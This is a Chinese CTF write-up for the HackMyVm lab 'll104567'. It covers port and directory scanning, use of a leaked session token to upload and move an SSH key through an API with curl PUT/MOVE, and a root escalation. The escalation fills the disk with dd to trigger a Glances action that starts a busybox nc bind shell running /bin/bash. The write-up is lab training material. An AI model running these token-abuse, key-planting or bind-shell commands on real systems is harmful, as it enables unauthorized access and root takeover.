文章总结: 这篇文章介绍了HackMyVm靶场ll104567的渗透测试过程,重点展示了如何使用curl工具进行文件上传和移动。作者通过端口扫描发现API接口,利用从网页源码获取的sessiontoken访问API,成功上传SSH公钥并移动到正确位置。虽然作者未能完成SSH登录,但提供了提权方法:通过创建大文件触发系统警告,利用Glances服务的配置漏洞获取root权限。
综合评分: 75
文章分类: 渗透测试,WEB安全,内网渗透,实战经验,漏洞分析
HackMyVm靶场之ll104567
原创
MS02423
MS02423
2025年12月20日 22:43
天津
这个靶场我们使用的工具是curl,因为我们需要上传和移动文件的
1.探测IP
sudo arp-scan -l
靶场IP是192.168.137.195
2.扫描IP
1)扫描端口
nmap -p- -sV 192.168.137.195
22端口是ssh服务,139,445是smb服务
1045访问不了,61208端口是系统的一些信息
2)扫描目录
feroxbuster -u http://192.168.137.195 -w /usr/share/seclists/Discovery/Web-Content/common.txt
80端口没有任何的信息,我们看看1045端口
feroxbuster -u http://192.168.137.195:1045 -w /usr/share/seclists/Discovery/Web-Content/common.txt
我们可以看到扫描到一个api目录,我们再次扫描发现/api/health
我们去扫描61208端口,发现一些端口api
feroxbuster -u http://192.168.137.195:61208 -w /usr/share/seclists/Discovery/Web-Content/common.txt
http://192.168.137.195:61208/docs
除了api和api/health目录,其他都没有用的。
3.访问IP
http://192.168.137.195/
我们在web界面没有发现任何信息,我们看看源代码
xixilake-session-secure-2025
这个看的进行是一个key或者是session,因为它太突出了。
4.渗透测试
smb服务
我们首先去看看smb服务也没有什么信息
smbclient -L //192.168.137.195
可以看到一个user_files目录,我们去连接
smbclient //192.168.137.195/user_files
结果里面是空的,所以目前我们是没有办法使用smb服务的,我们只能回到api目录下查看了
目录查看
http://192.168.137.195:1045/api/
我们可以看到404,我们去看看它的响应页面
curl http://192.168.137.195:1045/api/ -v
我们可以看到这里和上一个靶场有点相似之处,需要我们去构建的
Access-Control-Allow-Methods: GET, PUT, MOVE, OPTIONS #我们使用get方法 Access-Control-Allow-Headers: Content-Type, X-Session-Token, Destination #我们在80端口的源代码不是发现了一个session吗,我们就使用它
curl http://192.168.137.195:1045/api -H 'X-Session-Token:xixilake-session-secure-2025' -v
我们可以看到还是拒接访问的,可能是路径不到什么的,我们再去看看api/health目录
curl http://192.168.137.195:1045/api/health -v
OK,明白了,我们路径没有写对,路径应该是/api/files的,然后我们去访问它,在路径后面我们随便写一个文件试试看能不能成功访问就行
对比一下
没有X-Session-Token:xixilake-session-secure-2025
curl http://192.168.137.195:1045/api/files/ms02423 -v
我们可以看到状态码是401,是未授权访问的
有X-Session-Token:xixilake-session-secure-2025
curl http://192.168.137.195:1045/api/files/ms02423 -H 'X-Session-Token:xixilake-session-secure-2025' -v
状态码是404,说明我们可以访问的,之所以是404是因为它本来就没有ms02423这个文件的
上传文件
既然我们可以访问,那么我们也可以上传文件的,我们看到22端口是开放的,那么我们就可以上传我们的公钥,然后登录ssh服务的
我们测试一下,看能不能上传成功,这里我们需要上传文件,所以我们的请求类型是PUT
curl -X PUT http://192.168.137.195:1045/api/files/authorized_keys -H 'X-Session-Token:xixilake-session-secure-2025' -T /var/www/html/authorized_keys -v
我们可以看到是上传成功的
虽然我们是上传成功了,但是我们目前不知道靶场里面的用户的,我们需要上传到用户的.ssh目录下的
本来,我想试试/etc/passwd,结果告诉我,所以这个办法行不通
{"error":"Directory traversal not allowed"}
然后我就在网上查看了大佬的wp,知道了另一个smb服务的工具
基本语法是
rpcclient -u "" 192.168.137.195 -N
因为我们没有用户名,我们就使用匿名连接即可
我们枚举共享即可
我们可以看到用户是ll,那么我们就使用它即可
path: C:\home\ll\user_files
curl -X MOVE -H "X-Session-Token: xixilake-session-secure-2025" -H "Destination:home/ll/.ssh/authorized_keys" http://192.168.137.195:1045/api/files/authorized_keys
我们可以看到移动成功,我们直接ssh登录即可
ssh登录
可以看到我们是写入成功了,但是我不知道为什么登录不了,我查看了/home/ll/.ssh/,可以看到是写入成功的,不知道为什么就是不行
我查看了权限,重新做了一遍还是不行不知道为什么,我都重新装了靶机,之前也使用公钥登录过,是在vulnhub靶场里面,我是成功登录的,不知道这个为什么不行
我实在没有办法了,我也不想做了,我查看了大佬的wp,后面提权还是比较简单的,首先我们使用ssh登录成功
拿到user的flag,然后使用sudo -l
我们可以看到一个脚本,存在致命的配置项warning_action。当文件系统使用率达到80%时,由于Glances服务是以root权限运行的,系统会以root权限执行预设命令busybox nc -lp 4567 -e /bin/bash,从而开启一个监听在4567端口的绑定型shell。
dd if=/dev/zero of=/tmp/bigfile bs=1G count=21
这条命令可以使系统使用率达到80%,然后我们使用
nc 127.0.0.1 4567
就可以获取到root权限了。
反正前半部分感觉还是可以的,后面我没有实战所以不知道难不难(反正看wp,感觉还是比较简单的),这个靶场我们只要学会使用curl工具就可以了,其他的都是常规的操作。
免责声明:
本文所载程序、技术方法仅面向合法合规的安全研究与教学场景,旨在提升网络安全防护能力,具有明确的技术研究属性。
任何单位或个人未经授权,将本文内容用于攻击、破坏等非法用途的,由此引发的全部法律责任、民事赔偿及连带责任,均由行为人独立承担,本站不承担任何连带责任。
本站内容均为技术交流与知识分享目的发布,若存在版权侵权或其他异议,请通过邮件联系处理,具体联系方式可点击页面上方的联系我。
本文转载自:MS02423 MS02423《HackMyVm靶场之ll104567》